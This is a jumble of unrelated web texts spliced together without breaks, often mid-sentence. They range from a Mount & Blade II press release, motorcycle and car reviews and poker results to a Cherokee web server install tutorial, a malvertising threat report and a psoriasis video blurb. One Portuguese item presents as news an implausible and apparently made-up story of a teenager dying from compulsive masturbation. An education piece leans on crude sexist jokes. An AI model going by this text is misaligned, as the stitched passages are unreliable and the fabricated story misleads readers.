"It was like a dream come true and now it's like nightmare I can't wake up from," she said.Mount & Blade II: Bannerlord - Battles and Combat Detailed at E3
We are extremely excited to be able to share with you two new videos showcasing our advanced battle AI and deep and intuitive combat system! Both of the battles shown are available as demos for press to play throughout E3. This is the first time we have made the game available to play outside of our office, marking a huge milestone in the development of Mount & Blade II: Bannerlord. We hope you enjoy them!
LOS ANGELES (June 12, 2017– TaleWorlds Entertainment has released two videos showing an extended look at the large-scale, epic combat in their upcoming follow-up to Mount & Blade: Warband – Mount & Blade II: Bannerlord.
Key Battle Improvements
Battles are at the very core of the series and play better than ever in the latest instalment.
Advanced Formations – Merge and split forces at your behest, with intuitive but powerful control over the movement, form and behavior of every unit! Order heavy infantry to hold together, shoulder-to-shoulder in a slowly advancing but near impenetrable shield wall; or launch your cavalry in lightning charges using the skein formation.
Battlefield AI – AI commanders can execute complex tactics, utilizing the advanced formation options to present a formidable challenge. Their behavior is drawn from actual historical tacticians, for example Alexander the great, who used his superior cavalry forces to rout their counterparts in the opposing army, before delivering a crushing blow to the enemy’s main force. This not only creates the feeling of an authentic medieval battle but also proves effective in-game, as in reality.
Sergeant System – Commanders now designate units to other lords in battle, including the player! Execute the orders issued by your commander throughout the fight, and use your own instincts to do your part and help secure victory on the field of battle. Lead the horse archers as they skirmish and harass the enemy to disrupt their lines before your allies finish them off, or take control of the cavalry and charge into the fray to devastate entire units at once!
Key Combat Updates
Mount & Blade II: Bannerlord also features greatly updated combat, which builds on previous instalments in a number of ways while retaining its intuitive, direction-based core that made it so popular among players.
Directional Shield Blocking and Shield Bash – These two features revitalize the sword & board gameplay, making it a more engaging experience than ever before! Blocking in the wrong direction will not necessarily get you killed but it will cause your shield to break faster, leaving you defenseless against missiles and vulnerable against multiple foes. Shield bashing, a highly requested feature, temporarily stuns your opponent and knocks them back, lowering their defenses and giving you room to breathe.
Attack Chaining – Swings that complete their motion can now be chained into follow-up attacks which can catch your opponent off-guard after a miss. Unbalanced weapons such as hammers and axes also use the momentum of the first swing for a faster follow-up!
Improved Animations and Combat Engine – Huge effort has gone into making Mount & Blade II: Bannerlord’s combat as fluid and visually appealing as possible. Damage dealt is now calculated with a great degree of physical depth, factoring in the weight distribution of every individual weapon. This means that whether you are executing a perfectly timed thrust while thundering towards a hapless archer on horseback or shooting an arrow across the battlefield to whittle down your opponent’s infantry forces before the melee, the game will understand all of the forces involved and produce consistent, realistic and satisfying results every time.
“It is great to be back at E3 with Bannerlord, demonstrating the best Mount & Blade battles ever. Our team worked very hard on developing all aspects of the battles, which are so central to the game. We are thrilled to showcase our work and looking forward to seeing the response.”
Armagan Yavuz – CEO / Founder, TaleWorldsA potential blockbuster partnership between Walgreen (NASDAQ:WBA) and stealth lab diagnostic biotechnology firm Theranos recently went quietly under the radar as retail pharmacy chains continue to expand their service offerings into new territories.
Walgreen, alongside national pharmacy cousins CVS (NYSE:CVS) and Rite Aid (NYSE:RAD), has made big strides in adding services aimed at filling in the widening primary care gap. Innovations like in-store medical clinics, expanded immunization programs, and other care services have paid off significantly for investors as share prices of all three major chains continue to see robust gains since the start of |
70mm Which lenses do you have already? AddThe Tokyo Motor Show is well-known for introducing wild, beautiful concept bikes that will probably never be put into production. But that trend had an exception—Yamaha Europe has announced the three-wheeler Tricity 125 Scooter will be offered to European (and other) customers as a 2015 model—at a price well under its competitor, the Piaggio MP3 125.
The Tricity’s most notable feature, obviously, is its “Leaning Multi Wheel” (LMW) front end. It looks similar to Piaggio’s MP3 system, but it’s apparently Yamaha’s own patented design. The main difference is it uses four little fork tubes, two per wheel, where the MP3 uses coil-over shocks. Yamaha claims its system keeps the track (distance) between the two wheels consistent, making the front end feel more “natural” (or more like a motorcycle) during cornering. When I tested a Piaggio MP3 500 I noticed a weird, almost wiggly feel from the front during high-speed cornering jaunts, so maybe the Yamaha’s system is better in that respect, too. The Tricity also has 14 inch front wheels, bigger than the Piaggio’s 12-inchers, which should make going over bumps and potholes at high speeds less dramatic
Of course, with a fuel-injected 125cc liquid-cooled Single pushing almost 340 pounds of claimed wet weight, high-speed anything may be a non-issue—the Tricity is part of Yamaha’s “New Mobility” line, aimed at providing “a future-proof concept that offers an attractive and realistic alternative for today’s urban commuters.” That means not only is the Tricity easy to ride, with its CVT transmission, self-balancing front end (no word on if there’s a locking function to keep the bike upright when it’s stopped, like the MP3) and linked brakes, but in many jurisdictions, no special motorcycle license is required, thanks to the extra wheel. That should open up broad markets for this product. Whether it’s a good idea to have untrained, untested riders flitting about on scooters that are only a little safer than regular scooters is a question above my paygrade.
Will we get it here? That’s a question mark. Scooters are a small part of the motorcycle industry in the USA, and though Piaggio seems to sell plenty of MP3 models (you can get a 250, 400 or 500 here) and Can-Am has done well with its Spyder, since you still need a motorcycle license in most places for a 125 scooter, even with the extra wheel, the market may be too limited for Yamaha USA’s tastes—especially if it’s priced near the Tricity’s 4000 Euros ($5500, but that includes taxes and other fees).
Let Yamaha USA know if you’d get one of these—you can bet its marketing and product planning folks read MD.
Gabe Ets-Hokin is the Editor of City Bike Magazine, and a frequent freelance contributor to MotorcycleDaily.com.
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Unread Notifications
Much like iOS, watchOS has Notification Center accessible via a swipe down from the top of the screen. On iOS, this is accessible anywhere, whereas on watchOS it’s only accessible via the watch face. Rather than have indicators (like iOS) on the watch face that indicate you can swipe up or down for Notification Center or Glances, Apple Watch employs a red Blackberry-esque indicator dot. This indication of unread notifications is something that iOS lacks and provides a far better solution than other platforms.
Along the lines of adopting watchOS traits, I'd also imagine we'll see the motion wallpapers that are prominently featured in Watch advertising. These are even more impressive on the Watch's OLED display, where the blacks are truly black. This type of display also allows the contents of the screen to take up the full display, rather than leaving margins in software. In my example below, thing such as the status bar have been extended to the very edges of an iPhone 6 display. This type of display doesn't seem likely in an iPhone 6S update, but it certainly seems like it'll happen in the near future.
Lock Screen Complications
The watch face also features complications (a term adapted from traditional watch design) which can be customized to varying degrees to display relevant at-a-glance- information. Some of my favorite complications I use on Apple Watch are weather, and the activity indicator. You can see how this could look on iOS, where Apple could add a small amount of information to the fairly sparse Lock Screen. Adding complications to iOS could also make for the possibility of customizing the camera shortcut to open another app.
While no iOS device currently ships with Force Touch, editing the complications could be as simple as a long-press much like re-arranging apps on your Home Screen. Or for devices with Force Touch, with a firm press on the display. Changing the contents of a Complication could be as easy as tapping to cycle through the various options, including third-party complications (as seen in watchOS 2).Art Papazyan, a local high-stakes pro who specializes in cash games, defeated WPT Raw Deal analyst and poker icon Phil Hellmuth to win the Season XVI WPT Legends of Poker Main Event title. Papazyan denied Hellmuth his first-ever World Poker Tour title to claim the first of his own and earn a payday of $668,692.
Papazyan’s prize includes a $15,000 seat into the season-ending WPT Tournament of Champions, and he also earned a luxurious Hublot Big Bang Steel watch.
On the final hand, Papazyan’s and Hellmuth’s were the two hands the players got all the money in with preflop. Papazyan needed to come from behind to secure the victory, as he held the chip lead at the time, and Hellmuth needed to hold on and double up.
The flop delivered Papazyan with the queen he needed to take the lead, but Hellmuth wasn’t done yet. Hellmuth could still hit an ace to make a better pair, a jack to make a Broadway straight, or other running cards to win the hand. The on the turn gave Hellmuth a flush draw to go along with everything else, but the river missed him completely and it was all over.
Season XVI WPT Legends of Poker Final Table Results
1st: Art Papazyan – $668,692*
2nd: Phil Hellmuth – $364,370
3rd: JC Tran – $217,040
4th: DJ Alexander – $161,490
5th: Marvin Rettenmaier – $120,775
6th: Adam Swan – $91,825
*First-prize amount includes a US $15,000 seat into the season-ending WPT Tournament of Champions.
In addition to beating Hellmuth to secure the victory, Papazyan outlasted a very tough final table that included two-time WPT champions JC Tran and Marvin Rettenmaier. Both Tran and Rettenmaier were looking to join the ranks of players with three WPT titles, but Rettenmaier was the second player eliminated, going out in fifth place, and Tran fell in third.
Tran’s elimination came when his fell to the of Hellmuth on a board.
New Leader in Hublot WPT Player of the Year Race
Not only did Papazyan earn the lion’s share of the prize pool, the title, the Hublot watch, and everything else that the winner receives, but he earned a valuable 1,200 points in the Hublot WPT Player of the Year race. With that, Papazyan now holds the same amount of points in the race as WPT Choctaw winner Jay Lee, but Papazyan has the tiebreaker because he won the most money.
Next Up for the World Poker Tour
Next up for the WPT Main Tour is a trip to the East Coast for the Season XVI WPT Borgata Poker Open. The $3,500 Championship Event boasts a guaranteed prize pool of $3 million and runs September 17-22, 2017 at Borgata Hotel Casino & Spa. This is another televised event on Season XVI of the World Poker Tour and one that always draws a massive field and huge prize pool. Last season, Jesse Sylvia topped a field of 1,179 entries to earn $821,811.
For more information on all of the upcoming WPT Main Tour stops, click here.
Photography by Joe Giron / PokerPhotoArchive.com
Looking to win your way to a World Poker Tour event for your shot at becoming a WPT champion? Play for your chance on ClubWPT.com, where eligible VIP Members can play for over $100,000 in cash and prizes each month, including seats to WPT events, no purchase necessary.“Movement patterns,” “motor programs,” what does it all mean? In the last couple of years the fitness field has become inundated with these terms. Despite the apparent trendiness of the concept, motor control is an extremely important facet of athletic performance, and it’s a rather involved topic that utilizes pieces of neurology, neuroscience, psychology, and exercise.
That said, developing a practical understanding of motor control and how it can help you be a better athlete is straightforward. Rather than wasting time on the complexities of the cellular processes, I’m going to talk about what motor control means for athletes and share some easy steps you can take to master your own.
The Right Perspective
For many athletes, the first step to better motor learning involves a shift in the way they see things. Research shows the most important aspect of motor learning is engagement in the process. While this may seem like common sense, the frustrating reality is that many athletes who exhibit poor motor control do so because they don’t respect a simple truth: every movement is a skill.
"You have to respect the skill before you can excel at it."
It doesn’t matter if you’re trying to snatch a personal record or open a pill bottle. Every physical task we perform is a learned skill. We just take most of them for granted. So if you want to move your body better, you need to change your perspective. You have to respect the skill before you can excel at it.
Presence and Purpose
One of the easiest ways to improve how you engage with something is to be more present. It drives me crazy when I see patients doing their exercises while looking at their phone and then tell me they didn’t feel it. Of course they didn’t. They weren’t trying to. They were in another world.
Movement starts in the mind, and intention begets action. It’s why when we see someone stomping down the street with hands clenched and shoulders tensed, we know he or she is angry without hearing the person say a word. It’s also why thinking, “I’m going to press this weight,” or, “I’m going to plant my feet, get my breath, squeeze my lats, and press,” will yield wildly different results.
Not all repetitions are equal. Just doing something to do it isn’t good enough. Every single rep of every single movement needs to be performed with purpose and presence. Focusing your intentions rep after rep, set after set may not seem like some sexy “hack,” but that’s precisely the point. It’s hard to be present and engage the process when you’re busy looking for shortcuts to bypass it.
Extrinsic Learning vs. Intrinsic Learning
When learning a new skill there are two processes we use to collect data:
Extrinsic learning is more or less conscious. It involves understanding instruction, technique, and other intellectual insights into what we’re practicing. Intrinsic learning, on the other hand, is the experiential data gathered through our somatosensory system.
While both processes play an important role in skill acquisition, many athletes focus too much on the extrinsic stuff. When you’re constantly looking to your coach or an outside source for what’s wrong with your technique, you may be unintentionally ignoring what your body’s telling you. This is part of why many coaches use minimal instruction, and instead they ask questions to lead the athletes to their own answers.
"People frequently want some magic program or assistance exercises that will iron out all of their problems."
Our bodies have an amazing ability to evaluate their own performance and position. They can tell us all sorts of things but to hear it we need to be listening.
Results Focused vs. Results Driven
When an athlete asks me to help him get a better squat, 99 times out of a hundred he actually wants me to help him squat more. People frequently want some magic program or assistance exercises that will iron out all of their problems. If I’m dealing with an experienced athlete with years under the bar, then I’ll do my best to give him what he’s looking for. But if he’s still a beginner, I’m usually more concerned with seeing how he squats than looking at his program. Squatting heavier and squatting better aren’t always the same thing and frequently what people need is more practice, not more weight.
We all train for different reasons. I’m a firm believer that concrete goals are an important part of making progress. But it’s easy to get so wrapped up in what we want to accomplish that we forget what will actually get us there. You must be engaged in the practice of the skill itself, not simply the results you want to get.
Mastery of the basic skills involved is what will ultimately drive your results. There’s nothing wrong with chasing big numbers and faster times, just make sure you’re focused on the process and not solely the end goal. If you treat your training and workouts as a means to an end, you’re never going to achieve the amount of presence and engagement with the process that you need to master the actual movements.
Muscle Activation and Corrective Exercise
There seems to be mixed feelings regarding the idea of muscle activation or corrective exercises. Some coaches and clinicians swear by them, while others think the idea that there exists a magical set of exercises that will automatically improve your technique in another movement is preposterous. As with most things, I fall somewhere in the middle.
From my perspective, corrective exercise is meant to be exactly that: corrective. A high-level athlete who moves well probably doesn’t need much correction. That said, there are some athletes (and coaches) who like to do specific muscle activation work prior to a training session. Keeping with our squat example, relevant exercises might be bridges, clamshells, or quadruped glute activation drills. If you enjoy this type of warm up and it works for you, then have at it. But I’m not convinced it offers any specific benefit above and beyond squatting with slowly increasing resistance until you get to your work weight.
"You must be engaged in the practice of the skill itself, not simply the results you want to get."
I do think corrective exercises can be great building blocks for someone who is extremely deconditioned. They can also be useful in helping people develop kinesthetic awareness. Showing someone an exercise that activates her lats may not automatically make the muscle work when she’s doing something else, but it should teach her what activating that muscle feels like. Once a person knows that, it’s immensely easier to do it purposefully during a more complex movement.
The Best Ways to Improve Your Motor Control
Acknowledge and respect that every movement is a skill. Be present and purposeful in your movements. Don’t be distracted. Try not to overly rely on external coaching. Spend more time listening to your body. Prioritize skill practice and acquisition over the pursuit of numbers. Master the skills that drive the process and the results will follow. Utilize muscle activation drills to teach yourself what muscle activation feels like. Practice using that new feeling while performing more complex movements.
There are some coaches out there who can do amazing things with certain modalities, but personally I’m not a fan of physiological magic tricks. I believe in taking advantage of what the body does naturally - not trying to use human cleverness to bypass nature.
The most important aspect of improved motor control is recognizing every movement is a skill and to develop those skills you need presence and practice. It’s simple, but as you know, simple doesn’t always mean easy.
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Photos 1, 2, & 3 courtesy of Jorge Huerta Photography.
Photo 4 courtesy of Shutterstock.A fiery exchange on Seven Sharp has seen the head of animal rights group SAFE hurl an expletive at host Mike Hosking after he said the group will be "undermining us as a country" by releasing graphic video internationally showing mistreatment of bobby calves.
The video, revealed by TVNZ's Sunday programme, showed baby cows thrown into trucks, being crammed into cages, and kicked.
The group that filmed the footage says it wants to show the rest of the world that milk from New Zealand is made through cruelty to animals.
Hosking last night put to SAFE executive director Hans Kriek that "the moment you go international you're undermining us as a country. It's bordering on espionage to deliberately go out and undermine an industry for your own purposes".
Mr Kriek hit back, saying: "No. It's not for our own purposes. It's for the purposes of better animal welfare in this country. That's really important. We get nothing out of this except for sh** from people like yourself."
Hosking tried to chip in with: "But, well, no, well see maybe maybe..."
But Mr Kriek cut him off, insisting: "No, no, no, no, no, no, let me just finish, let's finish. It's really important to point out that for one a lot of good is already coming out of this. That abusive slaughterhouse worker - fired. One of the people throwing these animals - fired. And it's only happening because we exposed it."
Asked if he worries that SAFE is getting increasingly radical and losing touch with "wider New Zealand", Mr Kriek said: Yeah, that's a possibility and we acknowledge that. For some people that is the case."
But he said a lot of other New Zealanders "realise that if we want to see some meaningful change in this industry we have to have that stick behind the door and it will be used if we have to".
Mr Kriek said releasing the video internationally is "the stick behind the door".
"We want real change and we know that the threat to our international reputation is going to make sure that something will get done in this country."By Charles Cooper
Years of male preference in Chinese society may have made sense during its agricultural days, but in a modern metropolis like Shanghai where education is key, it seems Chinese families may have been backing the wrong horse. If China could get anymore patriarchal, the latest proposal to bridge the educational performance gap between the female and male students in many high schools and universities would surely do the trick.
Wang Ronghua, director of the Shanghai Education Development Foundation, has expressed his concern about the under-representation of the male student population in the country’s leading schools and colleges, warning of the impact this will have on the science and technology innovations in China. Wang, as you can tell, is quite the feminist.
Essentially, 80% of the nation’s 50 million students who are rated as “poor students” are male; on average, scoring 25 points lower than their female classmates on the annual entrance exam for senior high school. Consequently, in Shanghai High School, one of the best in Shanghai, the percentage of males has declined from 65% 20 years ago, to its all-time low of 35%.
“I am afraid it will become a ‘female school’ in just a few years,” Wang said. Meanwhile, some poor schmuck will have to contend with the fact that almost three out of every four students is a girl and they’re still a virgin.
So when Shanghai students defeated their freedom-loving Western counterparts in test scores, it was really the girls doing all of the heavy-lifting. And this isn’t a China-specific problem either; American boys are apparently just as dumb. The National Center for Education Statistics projects that 60% of all college students will be female by 2016 in the United States.
The Alleged Problems?
1. Males mature slower than females (for a Louis C.K primer on the differences between boys and girls, click here).
2. The current tests emphasize language abilities, including English and Chinese.
3. Preference for males leads to a spoiled child, says Sun Baohong, a researcher at Shanghai Academy of Social Sciences.
Sounds like it means the Little Emperors simply outnumber the Shanghai Princesses. Parents may finally realize that sending your 7-year old son to school with an iPad isn’t going to solve their educational woes as much as it teaches a lesson about overpriced hardware in the hands of your other poor investment.
The Alleged Solutions?
1. Give preference to boys while simultaneously lowering the bar for them. (Which is just as illegal in China as it is in the US.)
2. Make the boys take on extra responsibilities to organically develop their social skills, like becoming a class monitor.
3. Cater classes that play to the learning advantages of each sex.
An already overwhelmingly patriarchal society giving boys more power, conditioning stereotypical differences via a segregated curriculum (The only unisex course offered? Embracing Mediocrity 101), while espousing the same ideals as a Chinese NAACP…minus the women…and African-Americans. Genius!
And with the biggest understatement of the year, a mother of a 7-year old daughter weighs in: “Using different standards for boys and girls would be a sort of discrimination.”
So the next time you ask to be graded on a curve because of those pesky over-achieving Asians in the class, direct all your self-loathing at only the girls. After all, xenophobia and sexism are the PB&J of self-pity.This tutorial is intended for system administrators wanting to install Cherokee web server on a CentOS 5.8 x86_64
Cherokee is a very fast, flexible and easy to configure web server. It supports the widespread technologies nowadays: FastCGI, SCGI, PHP, CGI, TLS and SSL encrypted connections, virtual hosts, authentication, on the fly encoding, load balancing, Apache compatible log files, and much more.
Install the RPMForge x86_64 YUM Repository
# rpm -Uvh http://apt.sw.be/redhat/el5/en/x86_64/rpmforge/RPMS/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm
Install the EPEL x86_64 YUM Repository
# rpm -Uvh http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm
# yum install yum-priorities # yum update 1 2 3 4 # yum install yum-priorities # yum update
Install MySQL and MySQL server
# yum install mysql mysql-server 1 2 3 # yum install mysql mysql-server
Install RRDTool
# yum install rrdtool 1 2 3 # yum install rrdtool
Install Cherokee web server
# yum install cherokee # chkconfig cherokee on # service cherokee start 1 2 3 4 5 # yum install cherokee # chkconfig cherokee on # service cherokee start
Now direct your browser to http://10.0.0.3
You should see the Cherokee placeholder page.
Cherokee can be configured through a web-based control panel which we can start as follows:
cherokee-admin -b
(By default cherokee-admin binds only to 127.0.0.1 (localhost), with the -b parameter you can specify the network address to listen to. If no IP is provided, it will bind to all interfaces.)
Output should be similar to this one:
# cherokee-admin -b Login: User: admin One-time Password: gtVzmvy6Rqy9idKy Web Interface: URL: http://localhost:9090/ Cherokee Web Server 1.0.6 (Aug 6 2010): Listening on port ALL:9090, TLS disabled, IPv6 enabled, using epoll, 4096 fds system limit, max. 2041 connections, caching I/O, single thread 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # cherokee-admin -b Login : User : admin One - time Password : gtVzmvy6Rqy9idKy Web Interface : URL : http : //localhost:9090/ Cherokee Web Server 1.0.6 ( Aug 6 2010 ) : Listening on port ALL : 9090, TLS disabled, IPv6 enabled, using epoll, 4096 fds system limit, max. 2041 connections, caching I / O, single thread
The admin web interface can be found on http://10.0.0.3:9090/ (make sure to enter your one-time password)
To stop cherokee-admin, type CTRL+C on the shell.
Managing Varnish with Puppet
If you’re running Puppet we have included the manifest for installing Cherokee on CentOS 5. If you’re not running Puppet then you can install it by following the instructions outlined in our CentOS 5 Puppet Install.
This is only the manifest and doesn’t include any of the files (i.e. cherokee.conf).
class cherokee::repo { Package { provider => rpm, ensure => installed } package {"epel-release": source => "http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm"; "rpmforge-release": source => "http://apt.sw.be/redhat/el5/en/x86_64/rpmforge/RPMS/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm" } } class cherokee::install { $packagelist = [ "cherokee", "rrdtool", "mysql", "mysql-server", ] package { $packagelist: ensure => latest, require => Class ["cherokee::repo"], } } class cherokee::conf { File { owner => "root", group => "root", mode => 0644, require => Class ["cherokee::install"], notify => Class ["cherokee::service"] } file { "/var/www/cherokee/phpinfo.php": source => "puppet:///modules/cherokee/phpinfo.php" } file { "/etc/cherokee/cherokee.conf": source => "puppet:///modules/cherokee/cherokee.conf" } } class cherokee::service { $servicelist = [ "cherokee", "mysqld", ] service { $servicelist: require => Class ["cherokee::install"], ensure => true, enable => true, hasrestart => false, hasstatus => true } } class cherokee { include cherokee::repo, cherokee::install, cherokee::conf, cherokee::service } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 class cherokee :: repo { Package { provider = > rpm, ensure = > installed } package { "epel-release" : source = > "http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm" ; "rpmforge-release" : source = > "http://apt.sw.be/redhat/el5/en/x86_64/rpmforge/RPMS/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm" } } class cherokee :: install { $packagelist = [ "cherokee", "rrdtool", "mysql", "mysql-server", ] package { $packagelist : ensure = > latest, require = > Class [ "cherokee::repo" ], } } class cherokee :: conf { File { owner = > "root", group = > "root", mode = > 0644, require = > Class [ "cherokee::install" ], notify = > Class [ "cherokee::service" ] } file { "/var/www/cherokee/phpinfo.php" : source = > "puppet:///modules/cherokee/phpinfo.php" } file { "/etc/cherokee/cherokee.conf" : source = > "puppet:///modules/cherokee/cherokee.conf" } } class cherokee :: service { $servicelist = [ "cherokee", "mysqld", ] service { $servicelist : require = > Class [ "cherokee::install" ], ensure = > true, enable = > true, hasrestart = > false, hasstatus = > true } } class cherokee { include cherokee :: repo, cherokee :: install, cherokee :: conf, cherokee :: service }
Links
Cherokee: http://www.cherokee-project.com/
MySQL: http://www.mysql.com/
CentOS: http://centos.org/
+George RushbyPublished on Oct 9, 2015
Frosted Skin Flakes! They're GrrrrrrrrrRRRREAT! The knife is a DPX Hest: https://amzn.to/2CXSJ0C
🤞 SEE MORE PSORIASIS REMOVAL ON MY CHANNEL: https://bit.ly/2OGEJcz 🤞
#Psoriasis #flaky #itchy #exfoliate #ASMR
🚩 DISCLAIMER: 🚩 Please do not try the things in this video at home. I am an experienced Psoriasis sufferer and I choose to exfoliate the scales in my own ways to cope with my condition. Please consult a doctor about your skin questions.
✔ FAQ:
😫 Does it hurt?
On its own, it hurts when the skin gets super dry. The act of scraping, scrubbing, or other forms of removal do not hurt.
🥥 Favorite Moisturizers?
Coconut oil - works best for penetration with a pleasant scent. Also helps well with removal of the flakes!
💉What medications are you on?
Currently I'm on a biologic injection. Consult your doctor to see which is best for you. Examples are Enbrel, Humira, Stelara, Taltz, Cosentyx.
✂ What treatments have you used?
Clobestal, betamethasone dipropionate, dovonex, and various other steroids, UVB, salt baths, and creams.
🍏 Have you tried various natural diets?
Yup! Didn't work for me.
🧙♂️ What is Plaque Psoriasis? Psoriasis is a skin disorder / immune system disorder that presents itself as red, raised patches of skin. These red patches will then become scaly and flaky due to the increased regeneration rate of the skin cells. Normal skin regenerates approximately every 30 days. Psoriasis skin regenerates 3-6 days. It regenerates so quickly that the dead skin doesn't have time to release itself, thus continually growing in thickness until eventually it is too dry and falls off! Hairy areas general are more proned to psoriasis, not sure why. My scalp psoriasis used to produce large patches and flakes, and I mistook them for dandruff when I scratched.
There are many types of psoriasis:
plaque
guttate
inverse
pustular
erythrodermic
psoriatic arthritis
Other similar skin problems: seborrheic dermatitis, ichthyosis, dermatillomaniaGaroto morre após se masturbar 42 vezes seguidas
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Mãe já desconfiava compulsividade do adolescente e disse que ele fazia de hora em hora
Uma tragédia chocou os moradores de Rubiataba, interior do Goiás. Um adolescente de 16 anos morreu após se masturbar 42 vezes sem parar. Segundo relatos, ele havia começado por volta da meia noite, e virou a noite toda fazendo as sequencias de masturbação sem dar intervalo. Terminava uma e começava outra.
A mãe do menino já desconfiava de sua compulsividade por praticar o ato. “Era de hora em hora, igual o resultado da tele-sena, já tinha programado até de leva-lo ao médico”, contou a mãe do jovem.
Na escola onde o adolescente estudava, os colegas de classe fizeram uma homenagem. Uma de suas colegas, em conversa com a reportagem de G17, disse que o garoto era tão compulsivo que sempre lhe pedia para ligar a Web-cam, pela internet, de madrugada.
No computador do adolescente foi encontrado cerca de 17 milhões de vídeos eróticos e de 600 milhões de fotos.
Seguir @G17_oficialJune Was 'Worst Month Of Malvertising Ever'
Flash zero-days made it easier to deliver ransomware and banking Trojans, and commit click fraud.
June was "the worst month of malvertising basically ever" and Flash zero-day vulnerabilities are partly to blame, says Patrick Belcher, director of security analytics for Invincea. In the first six months of 2015, malvertising was one of the biggest threats to endpoint security, causing an estimated $525 million in damages (related to repair and recovery costs), according to research released today by Invincea.
Invincea says it stopped 2,100 malvertising attacks, all dropping some kind of malware on the endpoint -- mostly ransomware, banking Trojans, or bot code that abuses endpoints for click fraud campaigns.
The researchers identified a Russian threat actor called "Fessleak," that was particularly prolific, and had carried out more malvertising exploits than anyone else Invincea witnessed this year, using real-time ad platforms to deliver ransomare and the Bedep click fraud bot.
"Fessleak was abusing one company so bad he almost ruined the company," says Belcher. The attacker used the ad platform to deliver the Bedep click fraud bot so often that Blue Coat listed the company as a malicious source. They could have gone out of business, had they not succeeded in ejecting Fessleak, says Belcher.
By the end of the year, Belcher expects that the use of weaponized Microsoft Office documents will overtake malvertising as the leading threat, because the use has recently exploded -- with multiple threat actors using the same Visual Basic scripts, available for free on places like Pastebin, to add malicious payloads to documents. The documents are generally delivered via phishing messages.
These malicious documents were used to deliver Dridex, Zeus, Pony, Zbot, Dyreza payloads. They were also used in "just-in-time" malware attacks, which Invincea called the "dominant trend in malare evolution." In such an attack, the malware is delivered to the endpoint in innocent-looking pieces to avoid detection, then assembled on the endpoint, often using native Windows components as part of the finished product.
The researchers also found that although the threat actors behind the Anthem and White House breaches are very sophisticated, the methods they used to invade the organizations were not particularly complex. In fact -- although they may have used custom malware for part of the attack -- the initial intrusions were both accomplished via spearphishing messages with off-the-shelf Trojans attached. In fact, it was the same basic code, just in different wrapping -- the one in the White House was disguised as a video about an office run by monkeys and at Anthem it appeared as a Citrix software update.
See the full report at http://www.invincea.com/1H-2015-threat-report/.
Sara Peters is Senior Editor at Dark Reading and formerly the editor-in-chief of Enterprise Efficiency. Prior that she was senior editor for the Computer Security Institute, writing and speaking about virtualization, identity management, cybersecurity law, and a myriad... View Full BioCoffee Storing Myths
One of the most stubborn of these myths is that storing your coffee in the freezer prolongs freshness. According to Michael, this is untrue for several reasons.
“If you have a bag of coffee that is hermetically sealed and there's no way oxygen can get into it,” he says, “there's maybe a loose argument to be made that keeping it in the freezer might help. But most coffee bags (including ours) aren’t sealed, and if you put them in your freezer, it will actually do more harm than good.”
“Coffee is like a sponge: Once it’s been processed, it’s dry, coarse, and absorbent. Besides being exposed to frostburn, in the freezer, it will start to absorb the flavors floating around in there,” says Michael. This principle also applies to storing coffee in the refrigerator, where moisture levels will accelerate flavor loss even more.
Storing in your grinder hopper is also a bad idea. Most grinders aren’t airtight, and besides causing coffee to go stale more quickly, it can also cause oil to build up inside the grinder. Storing it in your grinder doesn’t make sense if you like to drink more than one kind; different coffees will inevitably mix in the grinder, making it harder to adjust to differing grind sizes.
Myths aside, there are a few very simple things you can do—and avoid—to make sure your coffee stays fresh.Looking at the hottest lines in fantasy hockey from Week Two.
Lead us forwards…..
Jamie Benn – Tyler Seguin – Patrick Sharp (Dallas)
It was only a matter of time until I listed this trio. The question isn’t how to stop these guys, rather, how to limit the damage they are inevitably going to cause. As a Benn owner I am ecstatic to see him playing the way he has after his off-season surgery. What I love most as a Benn owner is his early production on the PP which has been his Achilles heel from becoming a true superstar in fantasy hockey. If Sharp can keep his spot on this line… his value will undoubtedly go up. Enjoy the ride in Dallas as it promises to be a great fantasy season.
EV Strength Production = 11 points
PP Production = 3 points
Mike Hoffman – Mark Stone – Kyle Turris (Ottawa)
Raise your hand if you are kicking yourself for not drafting Stone… because I am. Stone and the rest of this top line seem to be the real deal as they appear on this list for the second straight week. My concerns |
in wagon duds.
This isn’t hyperbole, either. We’re not suggesting the Levorg is like a WRX—it straight up is a WRX, well, sort of. Subaru tells us the two cars share a lot, an idea that’s backed up by browsing the pair’s specifications. The Levorg’s dimensions mirror those of the WRX sedan (itself an adaptation of the lowly Impreza), but it is slightly narrower—it lacks the WRX’s flared fenders—and is 3.7 inches longer thanks to its cargo-swallowing butt. The front fascia, grille, headlights, and hood are identical to the WRX’s units, and the Levorg’s wraparound taillight design follows the WRX sedan’s look, as well. The story is the same inside, where the WRX’s upscale version of the humble Impreza’s interior looks to have been carried over untouched, flat-bottom steering wheel and all.
But the attractive wagon body isn’t even the best part of the Levorg—that honor goes to its powerful engine lineup. The base motor is a direct-injection, turbocharged 1.6-liter boxer four that pumps out a respectable 168 horsepower and 184 lb-ft of torque. It is paired with Subaru’s Lineartronic CVT—cue the sad trombone—but at least Subie’s latest Lineartronic unit has erased many of the typical nuisances this transmission type exhibits. The up-level engine is the sweetheart, though: It is a direct-injection, turbocharged 2.0-liter boxer four that spits out 296 horsepower and 295 lb-ft of torque. That’s a significant 28 horsepower and 37 lb-ft more than the WRX, meaning we could be getting our first look at the upcoming WRX STI’s motor. Again, sadly, the 2.0-liter turbo is bolted to a CVT. But Subaru added its “sport” tune to the unit (which can also be found in the Forester 2.0XT Turbo), which means it gets an additional sport setting, Sport #, that offers drivers eight manually selectable “gears.”
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View Photos John Lamm and the Manufacturer
